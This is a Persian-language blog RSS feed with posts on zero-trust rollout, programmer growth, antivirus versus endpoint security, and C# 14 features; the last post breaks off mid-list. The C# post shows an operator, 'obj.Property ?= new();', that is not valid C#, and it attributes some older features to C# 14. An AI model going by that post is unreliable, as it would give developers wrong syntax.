<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های Loop Lunatic</title>
        <link>https://virgool.io/feed/@LoopLunatic</link>
        <description>از طریق این وبلاگ، قصد دارم دانش و بینش خود را در مورد دنیای کامپیوتر و توسعه نرم افزار با شما به اشتراک بگذارم.</description>
        <language>fa</language>
        <pubDate>2026-06-16 08:58:47</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/65294/avatar/0PlfVX.png?height=120&amp;width=120</url>
            <title>Loop Lunatic</title>
            <link>https://virgool.io/@LoopLunatic</link>
        </image>

                    <item>
                <title>راهنمای عملی پیاده‌سازی «زیرو تراست» در سازمان‌ها: از شعار تا نقشه‌راه اجرایی‬</title>
                <link>https://virgool.io/@LoopLunatic/%D8%B1%D8%A7%D9%87%D9%86%D9%85%D8%A7%DB%8C-%D8%B9%D9%85%D9%84%DB%8C-%D9%BE%DB%8C%D8%A7%D8%AF%D9%87-%D8%B3%D8%A7%D8%B2%DB%8C-%D8%B2%DB%8C%D8%B1%D9%88-%D8%AA%D8%B1%D8%A7%D8%B3%D8%AA-%D8%AF%D8%B1-%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86-%D9%87%D8%A7-%D8%A7%D8%B2-%D8%B4%D8%B9%D8%A7%D8%B1-%D8%AA%D8%A7-%D9%86%D9%82%D8%B4%D9%87-%D8%B1%D8%A7%D9%87-%D8%A7%D8%AC%D8%B1%D8%A7%DB%8C%DB%8C%E2%80%AC-mipdmt6iqhmr</link>
                <description>چرا زیرو تراست این‌قدر جدی شد؟‬‫سال‌ها معماری امنیت شبکه بر پایه‌ی یک تصور ساده بنا شده بود: «داخل شبکه امن‌تر است، بیرون شبکه خطرناک‌تر.» نتیجه‌اش هم شد دیوار آتش، تفکیک محیط داخلی و خارجی، و اتکا به مرز شبکه به‌عنوان نقطه‌ی اصلی دفاع. اما دنیای امروز دیگر مثل گذشته نیست؛ سرویس‌های ابری، دورکاری، موبایل، SaaS، زنجیره تأمین نرم‌افزار، و مهاجمانی که از طریق فیشینگ یا سرقت دسترسی وارد می‌شوند، همه باعث شده‌اند «مرز» معنای قدیمی‌اش را از دست بدهد.‬‫در چنین وضعیتی، زیرو تراست (Zero Trust) به‌جای اینکه امنیت را به «مکان» و «مرز» گره بزند، به «هویت، وضعیت، و اثبات مداوم» گره می‌زند. یعنی حتی اگر چیزی داخل شبکه شما باشد، قرار نیست ذاتاً قابل اعتماد باشد. این نگاه، از یک شعار شروع می‌شود اما برای موفقیت نیاز به نقشه‌راه، اولویت‌بندی، و اجرای مرحله‌ای دارد—دقیقاً همان جایی که راهنماهای پیاده‌سازی زیرو تراست به کار می‌آیند.‬‫ زیرو تراست به زبان ساده: «هر درخواست باید دوباره ثابت کند حق دسترسی دارد»‬‫زیرو تراست معمولاً با دو اصل کلیدی شناخته می‌شود:‬‫ هرگز اعتماد نکن، همیشه راستی‌آزمایی کن (Never trust, always verify)‬ نفوذ را فرض بگیر (Assume breach)‬‫اصل اول یعنی احراز هویت و مجوزدهی باید «دائمی» و «پویا» باشد، نه یک‌بار برای همیشه. اصل دوم یعنی طراحی دفاعی شما باید طوری باشد که اگر مهاجم وارد شد، نتواند راحت در شبکه حرکت کند، دسترسی‌ها را گسترش دهد، و به داده‌های حیاتی برسد. در عمل، این دو اصل یعنی تمرکز روی چند محور: هویت‌ها (انسانی و غیرانسانی)، دستگاه‌ها، داده‌ها، برنامه‌ها، شبکه/ارتباطات، و مشاهده‌پذیری (Logging/Monitoring) برای تصمیم‌گیری.‬‫مشکل اصلی: زیرو تراست «یک محصول» نیست، «یک سفر» است‬‫یکی از اشتباهات رایج این است که سازمان‌ها زیرو تراست را مثل خرید یک ابزار امنیتی می‌بینند: «فلان محصول را می‌خریم، تمام می‌شود.» اما واقعیت این است که زیرو تراست یک مدل عملیاتی است که باید در فرایندها، سیاست‌ها، معماری، و حتی فرهنگ سازمانی جا بیفتد. به همین دلیل، راهنماهای خوب تأکید می‌کنند که نسخه‌ی واحد و یکسان برای همه وجود ندارد؛ هر سازمان باید با توجه به وضعیت فعلی، شکاف‌ها، اولویت‌ها، و محدودیت‌هایش مسیر پیاده‌سازی را انتخاب کند.‬‫این دقیقاً همان نقطه‌ای است که رویکردهایی مثل ZIG (راهنماهای پیاده‌سازی زیرو تراست) ارزش پیدا می‌کنند: به جای اینکه فقط بگویند «باید زیرو تراست باشید»، کمک می‌کنند آن را به مجموعه‌ای از «قابلیت‌ها» و «فعالیت‌های قابل انجام» تبدیل کنید.‬‫ZIG یعنی چه و چه کمکی می‌کند؟‬‫ZIG را می‌توان این‌طور خلاصه کرد: یک بسته‌ی راهنمای اجرایی که زیرو تراست را به شکل فعالیت‌های مشخص، خروجی‌های مورد انتظار و مسیر مرحله‌ای ارائه می‌دهد؛ بدون اینکه وابسته به یک فروشنده (Vendor) یا محصول خاص باشد.‬‫ایده‌ی مرکزی این است:‬‫1) زیرو تراست از «ستون‌ها» تشکیل می‌شود (مثل هویت، دستگاه، شبکه، داده، برنامه/بارکاری و …).‬‫2) هر ستون چند «قابلیت» (Capability) دارد. قابلیت یعنی چیزی که باید در سازمان به‌عنوان توانمندی امنیتی ایجاد شود.‬‫3) هر قابلیت با چند «فعالیت» (Activity) قابل تحقق است. فعالیت یعنی کار مشخصی که می‌شود آن را برنامه‌ریزی، اجرا، و خروجی‌اش را سنجید.‬‫این ساختار باعث می‌شود زیرو تراست از حالت مفهومی خارج شود و به زبان برنامه‌ریزی پروژه تبدیل گردد: «چه کاری؟ توسط چه تیمی؟ با چه پیش‌نیازهایی؟ خروجی چیست؟»‬‫چرا رویکرد مرحله‌ای مهم است؟ چون ۱۵۰+ فعالیت را نمی‌شود یکجا اجرا کرد‬‫پیاده‌سازی زیرو تراست معمولاً شامل تعداد زیادی فعالیت است؛ اگر یک‌باره وارد اجرا شوید، یا هزینه می‌ترکد، یا پروژه نیمه‌کاره می‌ماند، یا تیم‌ها خسته می‌شوند و همه چیز به چند تنظیم سطحی محدود می‌شود. به همین خاطر رویکرد مرحله‌ای (Phased) طراحی شده تا کارها قابل مدیریت شوند.‬‫یک مدل رایج، فعالیت‌ها را در چند فاز مرتب می‌کند:‬‫- Discovery (کشف و شناخت وضع موجود)‬‫- Phase One (ساخت پایه‌های امن و کنترل‌های بنیادین)‬‫- Phase Two (یکپارچه‌سازی کنترل‌ها و اعمال سیاست‌های زیرو تراست در سطح گسترده‌تر)‬‫و سپس فازهای پیشرفته‌تر (Advanced) که بسته به سازمان می‌تواند بعداً توسعه یابد.‬‫در این مدل، سه فاز اول معمولاً شما را به سطح «هدف» یا Target-level می‌رساند؛ یعنی جایی که یک زیرو تراست عملی و قابل اتکا دارید، حتی اگر هنوز در سطح پیشرفته‌ترین پیاده‌سازی‌ها نباشید.‬‫فاز Discovery: اگر دارایی‌ها و جریان‌ها را نشناسی، زیرو تراست را کورکورانه اجرا می‌کنی‬‫Discovery شاید جذاب‌ترین بخش نباشد، اما حیاتی‌ترین بخش است. زیرو تراست بدون شناخت دقیق از «چه چیزی داریم؟ چه کسی استفاده می‌کند؟ کجا ذخیره شده؟ چه ارتباطی با چه چیزی دارد؟» عملاً تبدیل می‌شود به حدس و گمان.‬‫در Discovery معمولاً روی این خروجی‌ها تمرکز می‌شود:‬‫- فهرست‌برداری از دارایی‌ها: سرورها، ایستگاه‌ها، موبایل‌ها، سرویس‌ها، اکانت‌ها، کلیدها، گواهی‌ها و…‬‫- نقشه‌ی هویت‌ها: کاربران انسانی، سرویس‌اکانت‌ها، ماشین‌ها، APIها و هویت‌های غیرانسانی‬‫- شناخت برنامه‌ها و وابستگی‌ها: کدام برنامه به کدام دیتابیس یا سرویس متصل است؟ از کجا احراز هویت می‌شود؟‬‫- طبقه‌بندی داده: داده‌های حساس کجاست؟ چه کسی به آن دسترسی دارد؟‬‫- مشاهده‌پذیری پایه: لاگ‌ها، تله‌متری، و نقاط کور (Blind Spots) کجا هستند؟‬‫اگر Discovery را خوب انجام دهید، در فازهای بعدی تصمیم‌ها دقیق‌تر می‌شوند: می‌دانید اولویت با کدام سیستم‌ها و کدام جریان‌های حیاتی است.‬‫فاز یک: ساخت «پایه‌ی امن» قبل از اینکه سراغ سیاست‌های پیچیده برویم‬‫در فاز یک معمولاً هدف این است که کنترل‌های پایه‌ای زیرو تراست را برقرار کنید؛ چیزی شبیه ساخت فونداسیون. اینجا اغلب تمرکز روی «هویت» و «دستگاه» بسیار پررنگ است، چون بسیاری از نفوذها از همین‌جا شروع می‌شوند: سرقت اعتبارنامه، دستگاه آلوده، یا دسترسی بیش‌ازحد.‬‫نمونه‌هایی از اقدامات رایج در فاز یک:‬‫- تقویت احراز هویت: MFA برای دسترسی‌های حساس، حذف استثناهای خطرناک، کاهش اتکا به پسورد‬‫- حداقل‌سازی دسترسی‌ها (Least Privilege): نقش‌ها، گروه‌ها، دسترسی‌های ادمین، و سیاست‌های موقت‌سازی دسترسی‬‫- حالت/سلامت دستگاه (Device Posture): اینکه دستگاه وصله است؟ رمزگذاری دیسک دارد؟ EDR فعال است؟‬‫- بهبود لاگ و مانیتورینگ: یکپارچه‌سازی لاگ‌ها، ثبت رخدادهای مهم، و ایجاد حداقل توان تشخیص‬‫- سخت‌سازی پایه: تنظیمات امنیتی استاندارد، بستن سرویس‌های غیرضروری، و مدیریت پیکربندی‬‫فاز یک قرار نیست همه چیز را کامل کند؛ قرار است «حداقل‌های لازم» را ایجاد کند تا اجرای سیاست‌های زیرو تراست در فاز دو قابل اتکا باشد.‬‫فاز دو: یکپارچه‌سازی و اعمال زیرو تراست در مقیاس واقعی‬‫در فاز دو، سازمان از مرحله‌ی «پایه‌سازی» عبور می‌کند و به سمت «یکپارچه‌سازی کنترل‌ها» می‌رود. اینجا زیرو تراست بیشتر خودش را نشان می‌دهد: تصمیم‌گیری‌های دسترسی بر اساس ترکیبی از هویت، دستگاه، زمینه (Context)، حساسیت داده، و ریسک.‬‫در فاز دو معمولاً این اتفاق‌ها پررنگ‌تر می‌شود:‬‫- سیاست‌های دسترسی پویا (Conditional Access): مثلاً اگر دستگاه سالم نیست یا کاربر ریسک بالا دارد، دسترسی محدود یا قطع شود.‬‫- قطعه‌بندی (Segmentation) و کنترل جریان‌ها: کاهش امکان حرکت جانبی مهاجم (Lateral Movement)‬‫- کنترل دسترسی به برنامه‌ها و داده‌ها: با سیاست‌های دقیق‌تر و نزدیک‌تر به سطح سرویس و داده‬‫- همگرایی مشاهده‌پذیری: تبدیل لاگ‌ها به هشدارهای قابل اقدام، و ایجاد بازخورد برای سیاست‌ها‬‫- استانداردسازی فرایندها: مدیریت تغییر، مدیریت هویت‌ها، چرخه عمر دسترسی‌ها، و پاسخ به رخدادها‬‫در این فاز، خروجی‌ها ملموس‌تر است: کاربران کمتر دسترسی اضافه دارند، دستگاه‌های ناسالم محدود می‌شوند، و نفوذها سریع‌تر شناسایی و مهار می‌شوند.‬‫«ستون‌ها → قابلیت‌ها → فعالیت‌ها»: چطور از این ساختار برای برنامه‌ریزی پروژه استفاده کنیم؟‬‫اگر بخواهیم این ساختار را در یک برنامه عملی تبدیل کنیم، می‌توانید این روش را به کار ببرید:‬‫1) ستون‌های اولویت‌دار را انتخاب کنید: مثلاً «هویت + دستگاه» برای شروع، چون بیشترین بازگشت امنیتی را دارد.‫2) قابلیت‌های هدف را مشخص کنید: مثلاً «احراز هویت قوی»، «حداقل‌سازی دسترسی ادمین»، «قابلیت ارزیابی سلامت دستگاه».‫3) فعالیت‌ها را به تسک‌های قابل انجام تبدیل کنید: با مالک، پیش‌نیاز، خروجی، و معیار موفقیت.‫4) وابستگی‌ها را شفاف کنید: برخی فعالیت‌ها پیش‌نیاز برخی دیگرند؛ برنامه‌ریزی بدون دیدن وابستگی‌ها باعث بن‌بست می‌شود.‫5) خروجی‌ها را قابل سنجش کنید: مثلاً درصد اکانت‌های دارای MFA، درصد دستگاه‌های دارای رمزگذاری، یا کاهش دسترسی‌های ادمین دائمی.‬‫مزیت این روش این است که شما هم «دید کلان» دارید، هم «گام‌های اجرایی». زیرو تراست از یک پروژه‌ی مبهم تبدیل می‌شود به مجموعه‌ای از کارهای قابل پیگیری.‬‫چند اشتباه رایج در پیاده‌سازی زیرو تراست (و راه جلوگیری از آن‌ها)‬‫۱) شروع از ابزار به جای مسئله: اول شکاف‌ها و اولویت‌ها را مشخص کنید، بعد ابزار را انتخاب کنید.‫۲) نادیده گرفتن Discovery: بدون شناخت دارایی‌ها و جریان‌ها، سیاست‌ها یا خیلی سخت‌گیرانه می‌شوند یا پر از استثنا.‫۳) نداشتن معیار موفقیت: اگر نتوانید اندازه‌گیری کنید، نمی‌فهمید پیشرفت کرده‌اید یا نه.‫۴) رها کردن مدیریت تغییر: زیرو تراست روی تجربه کاربر اثر می‌گذارد؛ بدون مدیریت تغییر و ارتباط با تیم‌ها، مقاومت شکل می‌گیرد.‫۵) یکپارچه نکردن مشاهده‌پذیری: اگر سیاست‌ها داده و بازخورد نداشته باشند، یا زیادی سفت می‌شوند یا زیادی شل.‬‫یک چک‌لیست شروع سریع ‫اگر بخواهید همین هفته شروع کنید، این چک‌لیست کمکتان می‌کند:‬‫دارایی‌های حیاتی و حساس را لیست کنید (سیستم‌های کلیدی، داده‌های حیاتی).مسیرهای دسترسی مهم را مشخص کنید (چه کسی به چه چیزی از کجا وصل می‌شود).وضعیت هویت‌ها را بسنجید (MFA، اکانت‌های ادمین، سرویس‌اکانت‌ها).وضعیت دستگاه‌ها را بسنجید (Patch، EDR، رمزگذاری، مدیریت مرکزی).لاگ‌های پایه را یکپارچه کنید (حداقل برای نقاط حساس).یک «پایلوت محدود» تعریف کنید (مثلاً یک برنامه یا یک تیم) و فاز یک را روی آن اجرا کنید.‬‫جمع‌بندی زیرو تراست، یک برنامه‌ی مرحله‌ای و قابل اندازه‌گیری است‬‫زیرو تراست وقتی موفق می‌شود که از سطح شعار پایین بیاید و وارد زبان اجرا شود: «قابلیت‌ها» و «فعالیت‌ها» با خروجی‌های مشخص. رویکرد مرحله‌ای به شما اجازه می‌دهد به جای یک پروژه‌ی عظیم و فرسایشی، قدم‌های منطقی بردارید: اول شناخت دقیق (Discovery)، بعد ساخت پایه‌های امن (Phase One)، و سپس یکپارچه‌سازی کنترل‌ها و سیاست‌ها (Phase Two). در نهایت هم مسیر برای بلوغ پیشرفته‌تر باز می‌ماند.‬</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sat, 31 Jan 2026 10:38:42 +0330</pubDate>
            </item>
                    <item>
                <title>راهکار واقعی برای لول‌اَپ شدن به‌عنوان یک برنامه‌نویس</title>
                <link>https://virgool.io/@LoopLunatic/%D8%B1%D8%A7%D9%87%DA%A9%D8%A7%D8%B1-%D9%88%D8%A7%D9%82%D8%B9%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%D9%84%D9%88%D9%84-%D8%A7%D9%8E%D9%BE-%D8%B4%D8%AF%D9%86-%D8%A8%D9%87-%D8%B9%D9%86%D9%88%D8%A7%D9%86-%DB%8C%DA%A9-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D9%86%D9%88%DB%8C%D8%B3-vkomqohviiao</link>
                <description>تقریباً همه‌ی برنامه‌نویس‌ها یک نقطه‌ی مشترک دارند:در مقطعی حس می‌کنند گیر کرده‌اند.کد می‌زنند، پروژه تحویل می‌دهند، حتی شاید درآمد خوبی هم داشته باشند، اما در درون‌شان می‌دانند که رشد واقعی متوقف شده.در این نقطه، معمولاً دو واکنش دیده می‌شود:یا سراغ یاد گرفتن یک فریم‌ورک جدید می‌رویم،یا احساس می‌کنیم «استعدادش را نداریم».اما حقیقت این است که لول‌اَپ شدن، خیلی کمتر از آن‌چه فکر می‌کنیم به ابزار مربوط است و خیلی بیشتر به نوع نگاه ما به مسئله و کدنویسی.در این نوشته، فرض کن من جان اسکیت هستم؛ کسی که سال‌ها با کد، باگ، مستندات و سؤال‌های عمیق سر و کار داشته. نه برای این‌که نسخه‌ی جادویی بدهم، بلکه برای این‌که مسیر فکر کردن را شفاف‌تر کنم.۱. لول‌اَپ از جایی شروع می‌شود که «چرا» برایت مهم‌تر از «چطور» می‌شودبیشتر ما برنامه‌نویسی را با «چطور» یاد می‌گیریم:چطور API صدا بزنم؟چطور این خطا را رفع کنم؟چطور این فیچر را سریع‌تر پیاده کنم؟این طبیعی است. اما اگر در همین مرحله بمانی، رشدت خیلی زود سقف می‌خورد.برنامه‌نویس حرفه‌ای وقتی کدی کار می‌کند، راضی نمی‌شود. مکث می‌کند و می‌پرسد:چرا این کد درست کار می‌کند؟اگر شرایط عوض شود چه؟اگر سیستم بزرگ‌تر شود، داده‌ها بیشتر شوند یا هم‌زمانی اضافه شود، آیا باز هم جواب می‌دهد؟«چرا» پرسیدن، مغزت را از مصرف‌کننده‌ی راه‌حل به تحلیل‌گر سیستم تبدیل می‌کند.و این دقیقاً همان نقطه‌ای است که لول‌اَپ واقعی اتفاق می‌افتد.۲. یک زبان را انتخاب کن و آن را واقعاً بفهمبسیاری از برنامه‌نویس‌ها به چند زبان «مسلط‌اند»، اما به هیچ‌کدام عمیقاً مسلط نیستند.دانستن syntax چند زبان، تو را قوی نمی‌کند؛ فهم عمیق یک زبان می‌کند.وقتی می‌گویم عمیق، منظورم این‌هاست:حافظه چگونه مدیریت می‌شود؟سیستم type چه محدودیت‌ها و چه مزایایی دارد؟در شرایط مرزی (edge cases) چه رفتاری می‌بینیم؟هم‌زمانی واقعاً چگونه پیاده‌سازی شده؟خواندن مستندات رسمی سخت است، کند است و هیجان ندارد؛اما دقیقاً همان‌جایی است که تفاوت ایجاد می‌شود.وقتی زبانت را عمیق بفهمی، دیگر:باگ‌ها تو را غافلگیر نمی‌کنندرفتار عجیب سیستم برایت «جادو» نیستو تصمیم‌هایت آگاهانه‌تر می‌شوند۳. کیفیت کد قبل از نوشتن آن تعیین می‌شود، نه بعدشیکی از بزرگ‌ترین سوءتفاهم‌ها این است که فکر می‌کنیم کیفیت، نتیجه‌ی refactor بعدی است.در حالی که کیفیت واقعی، قبل از نوشتن اولین خط کد شکل می‌گیرد.برنامه‌نویس قوی قبل از تایپ:روی نام‌ها فکر می‌کندساختار را ساده نگه می‌داردو جرئت حذف کردن ایده‌های اضافی را داردکدی که نوشته نشده:باگ نداردتست نمی‌خواهدنگهداری نمی‌خواهدلول‌اَپ یعنی یاد بگیری چه زمانی کد کمتر بنویسی، نه بیشتر.۴. باگ‌ها را سطحی حل نکن؛ از آن‌ها یاد بگیربرنامه‌نویس ضعیف از باگ متنفر است.برنامه‌نویس حرفه‌ای باگ را یک سیگنال می‌بیند.هر باگ یک سؤال مهم پشتش دارد:چه فرض اشتباهی داشتم؟چه چیزی را ساده‌انگارانه در نظر گرفتم؟طراحی کجا می‌توانست بهتر باشد؟اگر فقط باگ را patch کنی، چیزی یاد نگرفته‌ای.اما اگر ریشه‌اش را بفهمی، نه‌تنها آن باگ، بلکه یک کلاس کامل از خطاها را حذف کرده‌ای.بیشترین رشد واقعی، معمولاً از سخت‌ترین باگ‌ها می‌آید.۵. آموزش دادن، سریع‌ترین راه عمیق شدن استوقتی چیزی را فقط برای خودت بلد هستی، ممکن است توهم فهم داشته باشی.اما وقتی مجبور می‌شوی آن را به دیگری توضیح بدهی، همه‌چیز روشن می‌شود.توضیح دادن:حفره‌های دانشت را نشان می‌دهدذهنت را منظم می‌کندو باعث می‌شود از سطح «بلد بودن» عبور کنیلازم نیست استاد باشی.نوشتن یک پست، جواب دادن به یک سؤال یا حتی توضیح دادن به یک هم‌تیمی، تو را چند پله جلو می‌برد.۶. فروتنی، پیش‌نیاز رشد فنی استاین شاید عجیب به نظر برسد، اما فروتنی یک مهارت فنی است.اگر فکر کنی:«من بلدم»،دیگر سؤال نمی‌پرسی.نقد نمی‌شنوی.و اشتباهاتت نامرئی می‌شوند.برنامه‌نویس حرفه‌ای:راحت می‌گوید «نمی‌دانم»نظرش را با دلیل می‌گوید، نه با قطعیتو حاضر است نظرش را عوض کندرشد، فقط در ذهنی اتفاق می‌افتد که جا برای یادگیری دارد.۷. روی تفکر سرمایه‌گذاری کن، نه فقط تکنولوژیزبان‌ها تغییر می‌کنند.فریم‌ورک‌ها می‌آیند و می‌روند.اما تفکر خوب ماندگار است.اگر یاد بگیری:مسئله را درست تحلیل کنیtrade-offها را بفهمیو سیستم را به‌عنوان یک کل ببینییاد گرفتن هر ابزار جدید فقط زمان می‌برد، نه انرژی ذهنی.جمع‌بندیلول‌اَپ شدن یعنی:نه سریع‌تر تایپ کردن،نه بلد بودن ابزارهای بیشتر،بلکه عمیق‌تر فکر کردن.اگر هر روز کمی بهتر سؤال بپرسی،کمی دقیق‌تر فکر کنی،و کمی مسئولانه‌تر کد بنویسی،در بلندمدت، فاصله‌ای ایجاد می‌کنی که با هیچ دوره یا فریم‌ورکی پر نمی‌شود.برنامه‌نویس خوب کد می‌نویسد.برنامه‌نویس حرفه‌ای، مسئله را می‌فهمد.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Mon, 22 Dec 2025 15:47:55 +0330</pubDate>
            </item>
                    <item>
                <title>تفاوت Antivirus و Endpoint Security</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AA%D9%81%D8%A7%D9%88%D8%AA-antivirus-%D9%88-endpoint-security-isbbnmd7dkks</link>
                <description>آنتی‌ویروس و امنیت نقاط انتهایی (Endpoint Security) هر دو برای حفاظت از سیستم‌ها در برابر تهدیدات سایبری طراحی شده‌اند، اما تفاوت‌های مهمی در عملکرد و دامنه پوشش آن‌ها وجود دارد.آنتی‌ویروس (Antivirus)آنتی‌ویروس یک نرم‌افزار امنیتی است که به‌طور خاص برای شناسایی، پیشگیری و حذف بدافزارها طراحی شده است. بدافزارها شامل ویروس‌ها، تروجان‌ها، کی‌لاگرها، باج‌افزارها و کرم‌ها هستند. ویژگی‌های اصلی آنتی‌ویروس عبارت‌اند از:اسکن در زمان واقعی و دستی: آنتی‌ویروس‌ها به‌طور مداوم فایل‌ها و دایرکتوری‌های دستگاه را برای الگوهای مخرب اسکن می‌کنند و در صورت شناسایی بدافزار، هشدار می‌دهند.حفاظت وب: هنگام استفاده از اینترنت، آنتی‌ویروس‌ها از کاربران در برابر تهدیدات مختلف وب محافظت می‌کنند.شناسایی و حذف تهدیدات: آنتی‌ویروس‌ها فایل‌های آلوده را شناسایی و حذف یا قرنطینه می‌کنند.به‌روزرسانی خودکار: آنتی‌ویروس‌ها به‌طور خودکار به‌روزرسانی می‌شوند تا با تهدیدات جدید مقابله کنند.امنیت نقاط انتهایی (Endpoint Security)امنیت نقاط انتهایی یک رویکرد جامع‌تر برای حفاظت از دستگاه‌های انتهایی مانند دسکتاپ‌ها، لپ‌تاپ‌ها و دستگاه‌های موبایل در برابر تهدیدات سایبری است. این رویکرد شامل مدیریت و حفاظت از نقاط انتهایی در برابر تهدیدات مختلف است. ویژگی‌های اصلی امنیت نقاط انتهایی عبارت‌اند از:شناسایی و پاسخ به تهدیدات (EDR): امنیت نقاط انتهایی شامل فناوری‌های EDR است که به شناسایی و پاسخ به تهدیدات پیشرفته کمک می‌کند.مدیریت دستگاه‌ها: امنیت نقاط انتهایی شامل مدیریت دستگاه‌ها و کنترل دسترسی به شبکه است.پیشگیری از نشت داده‌ها (DLP): این فناوری‌ها به جلوگیری از نشت داده‌های حساس کمک می‌کنند.تشخیص تهدیدات پیشرفته: امنیت نقاط انتهایی شامل تشخیص تهدیدات پیشرفته مانند حملات مداوم پیشرفته (APT)، حملات روز صفر و بدافزارهای چندشکلی است.مدیریت مرکزی: امنیت نقاط انتهایی امکان مدیریت مرکزی و کنترل تمامی دستگاه‌های متصل به شبکه را فراهم می‌کند.تفاوت‌های کلیدیدامنه پوشش: آنتی‌ویروس به‌طور خاص بر شناسایی و حذف بدافزارها تمرکز دارد، درحالی‌که امنیت نقاط انتهایی یک رویکرد جامع‌تر است که شامل مدیریت دستگاه‌ها، پیشگیری از نشت داده‌ها و تشخیص تهدیدات پیشرفته می‌شود.مدیریت و کنترل: امنیت نقاط انتهایی امکان مدیریت مرکزی و کنترل تمامی دستگاه‌های متصل به شبکه را فراهم می‌کند، درحالی‌که آنتی‌ویروس به‌طور مستقل بر روی هر دستگاه نصب و اجرا می‌شود.تشخیص تهدیدات پیشرفته: امنیت نقاط انتهایی شامل فناوری‌های پیشرفته‌تری برای تشخیص و پاسخ به تهدیدات پیشرفته است، درحالی‌که آنتی‌ویروس بیشتر بر شناسایی و حذف بدافزارهای شناخته‌شده تمرکز دارد.درنتیجه، امنیت نقاط انتهایی یک راه‌حل جامع‌تر و پیشرفته‌تر برای حفاظت از دستگاه‌ها و شبکه‌ها در برابر تهدیدات سایبری است، درحالی‌که آنتی‌ویروس به‌طور خاص برای شناسایی و حذف بدافزارها طراحی شده است.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sun, 07 Dec 2025 11:21:22 +0330</pubDate>
            </item>
                    <item>
                <title>معرفی کامل ویژگی‌های جدید C# 14</title>
                <link>https://virgool.io/@LoopLunatic/%D9%85%D8%B9%D8%B1%D9%81%DB%8C-%DA%A9%D8%A7%D9%85%D9%84-%D9%88%DB%8C%DA%98%DA%AF%DB%8C-%D9%87%D8%A7%DB%8C-%D8%AC%D8%AF%DB%8C%D8%AF-c-14-sqb7927io7kz</link>
                <description>زبان #C در نسخه‌ 14 یکی از بزرگ‌ترین به‌روزرسانی‌های سال‌های اخیر خود را تجربه کرده است.این نسخه، علاوه بر بهبودهای مهم در کارایی، مجموعه‌ای از قابلیت‌های جدید را معرفی می‌کند که هدف آن‌ها کاهش پیچیدگی کد، افزایش سرعت توسعه، و ارائه کنترل بیشتر به برنامه‌نویسان است.در این پست، تمامی قابلیت‌های جدید C# 14 را بررسی می‌کنیم،و برای هر ویژگی توضیح می‌دهیم چرا اضافه شده و چه مزیتی ایجاد می‌کند. 🔵 1. اعضای الحاقی (Extension Members)تا قبل از C# 14 فقط متدهای الحاقی وجود داشت.اما حالا می‌توان به یک نوع، property، indexer، operator و حتی event الحاقی نیز اضافه کرد. مزایا: افزودن قابلیت به انواع مختلف بدون تغییر کد اصلی آن‌ها ایجاد APIهای خواناتر و تمیزتر کاهش نیاز به کلاس‌های کمکی تکراری چرا نیاز بود؟برای توسعه کتابخانه‌ها، DSLها و حتی ابزارهایی مانند EF Core، این محدودیت قدیمی دردسرساز بود.اکنون توسعه‌دهندگان انعطاف بسیار بیشتری دارند. 🔵 2. تخصیص شرطی نال با عملگر جدید ?=)پیش از این باید برای مقداردهی مشروط، از if استفاده می‌کردیم.در C# 14 تنها با یک خط:obj.Property ?= new(); مزایا: کوتاه شدن کدهای بررسی نالجلوگیری از خطاهای NullReferenceمناسب برای DTOها و مدل‌های داده چرا نیاز بود؟کدهای چک نال در پروژه‌های واقعی بسیار تکراری بودند.این قابلیت کدنویسی را ساده‌تر و ایمن‌تر می‌کند. 🔵 3. پشتیبانی از nameof روی genericهای نامقیداکنون می‌توان نام یک generic را بدون مشخص‌کردن پارامترها دریافت کرد:nameof(List&lt;&gt;) مزایا: تولید کد و reflection ساده‌تر و قابل‌اطمینان‌تر کاربرد گسترده در Source Generatorها چرا نیاز بود؟در ابزارسازی و تولید خودکار کد، این قابلیت ضروری بود اما در نسخه‌های قبلی پشتیبانی نمی‌شد. 🔵 4. بهبود تبدیل‌های Span&lt;T&gt;در C# 14 تبدیل‌های implicit به Span بسیار بهتر و طبیعی‌تر شده‌اند. مزایا: سرعت بیشتر کاهش مصرف حافظه صفر شدن عملیات کپی داده چرا نیاز بود؟Span&lt;T&gt; از قوی‌ترین قابلیت‌های C# است، اما استفاده از آن پیش‌تر کمی دست‌وپاگیر بود.این تغییر برای کارایی برنامه‌های real-time حیاتی است. 🔵 5. سازنده‌های جزئی (Partial Constructors)امکان تعریف constructor در چند فایل مختلف. مزایا: امکان تقسیم مسئولیت‌ها تعامل عالی با Source Generatorها ساختاردهی بهتر کلاس‌های پیچیده چرا نیاز بود؟در برخی فریم‌ورک‌ها بخش‌هایی از کلاس توسط generator تولید می‌شود؛قبلاً امکان تقسیم constructor وجود نداشت. 🔵 6. رویدادهای جزئی (Partial Events)اکنون eventها نیز مانند متدها و کلاس‌ها قابل تقسیم‌بندی هستند. مزایا: ساخت ابزارهای رابط کاربری یا frameworkها آسان‌تر می‌شود لغو محدودیت‌های رویدادها در فایل‌های چندگانه چرا نیاز بود؟در معماری‌های مدرن بخش‌هایی از کلاس توسط ابزارها تولید می‌شود.این قابلیت هماهنگی بین انسان و ماشین را بهتر می‌کند. 🔵 7. عملگرهای ترکیبی قابل overloadاگر عملگر + را overload می‌کنید، حالا می‌توانید += را هم تعریف کنید. مزایا: کنترل کامل بر منطق حسابی انواع سفارشی مناسب برای ساختارهای ریاضی و موتورهای بازی چرا نیاز بود؟قبلاً کامپایلر برخی عملگرها را خودکار تولید می‌کرد؛این آزادی دست برنامه‌نویس را بیشتر می‌کند. 🔵 8. بهبودهای Pattern MatchingC# 14 الگوهای لیستی، recursive patterns و ترکیب‌های مختلف را تقویت کرده است. مزایا: ساده‌سازی switchهای پیچیده کدنویسی functional راحت‌تر بهبود خوانایی چرا نیاز بود؟الگوهای داده‌ای پیچیده‌تر در برنامه‌های مدرن به پشتیبانی بهتر نیاز داشتند. 🔵 9. پشتیبانی بهتر از params با Spanاکنون می‌توان params را بدون ایجاد آرایه جدید استفاده کرد. مزایا: سرعت بالاتر کاهش فشار روی GC به‌صرفه برای پردازش داده‌های حجیم چرا نیاز بود؟آرایه‌سازی خودکار params در پروژه‌های واقعی یک نقطه ضعف عملکردی بود. 🔵 10. بهبود 